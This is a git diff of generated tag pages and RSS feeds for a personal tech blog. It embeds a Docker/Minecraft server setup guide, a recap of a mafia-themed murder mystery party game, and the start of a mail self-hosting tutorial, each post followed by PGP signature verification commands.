    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/livekit/page/1/index.html b/public-clearnet/tags/livekit/page/1/index.html new file mode 100644 index 0000000..bba0355 --- /dev/null +++ b/public-clearnet/tags/livekit/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/livekit/ + \ No newline at end of file diff --git a/public-clearnet/tags/lvm/index.html b/public-clearnet/tags/lvm/index.html new file mode 100644 index 0000000..c93a297 --- /dev/null +++ b/public-clearnet/tags/lvm/index.html @@ -0,0 +1,11 @@ +Lvm | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/lvm/index.xml b/public-clearnet/tags/lvm/index.xml new file mode 100644 index 0000000..a56f227 --- /dev/null +++ b/public-clearnet/tags/lvm/index.xml @@ -0,0 +1,166 @@ +Lvm on AlipourIm journeyshttps://blog.alipour.eu/tags/lvm/Recent content in Lvm on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttps://blog.alipour.eu/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/lvm/page/1/index.html b/public-clearnet/tags/lvm/page/1/index.html new file mode 100644 index 0000000..7e3b87f --- /dev/null +++ b/public-clearnet/tags/lvm/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/lvm/ + \ No newline at end of file diff --git a/public-clearnet/tags/mafia/index.html b/public-clearnet/tags/mafia/index.html new file mode 100644 index 0000000..a8df26c --- /dev/null +++ b/public-clearnet/tags/mafia/index.html @@ -0,0 +1,11 @@ +Mafia | AlipourIm journeys +

    La Plaza: The Falcones & the Morettis

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    October 25, 2025 · 13 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/mafia/index.xml b/public-clearnet/tags/mafia/index.xml new file mode 100644 index 0000000..ff5108f --- /dev/null +++ b/public-clearnet/tags/mafia/index.xml @@ -0,0 +1,201 @@ +Mafia on AlipourIm journeyshttps://blog.alipour.eu/tags/mafia/Recent content in Mafia on AlipourIm journeysHugo -- 0.146.0enSat, 25 Oct 2025 07:52:53 +0000La Plaza: The Falcones & the Morettishttps://blog.alipour.eu/posts/murder_mystery_night/Sat, 25 Oct 2025 07:52:53 +0000https://blog.alipour.eu/posts/murder_mystery_night/Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/mafia/page/1/index.html b/public-clearnet/tags/mafia/page/1/index.html new file mode 100644 index 0000000..ce3c2bd --- /dev/null +++ b/public-clearnet/tags/mafia/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/mafia/ + \ No newline at end of file diff --git a/public-clearnet/tags/mail/index.html b/public-clearnet/tags/mail/index.html new file mode 100644 index 0000000..a4ff5e6 --- /dev/null +++ b/public-clearnet/tags/mail/index.html @@ -0,0 +1,13 @@ +Mail | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/mail/index.xml b/public-clearnet/tags/mail/index.xml new file mode 100644 index 0000000..71bca21 --- /dev/null +++ b/public-clearnet/tags/mail/index.xml @@ -0,0 +1,135 @@ +Mail on AlipourIm journeyshttps://blog.alipour.eu/tags/mail/Recent content in Mail on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

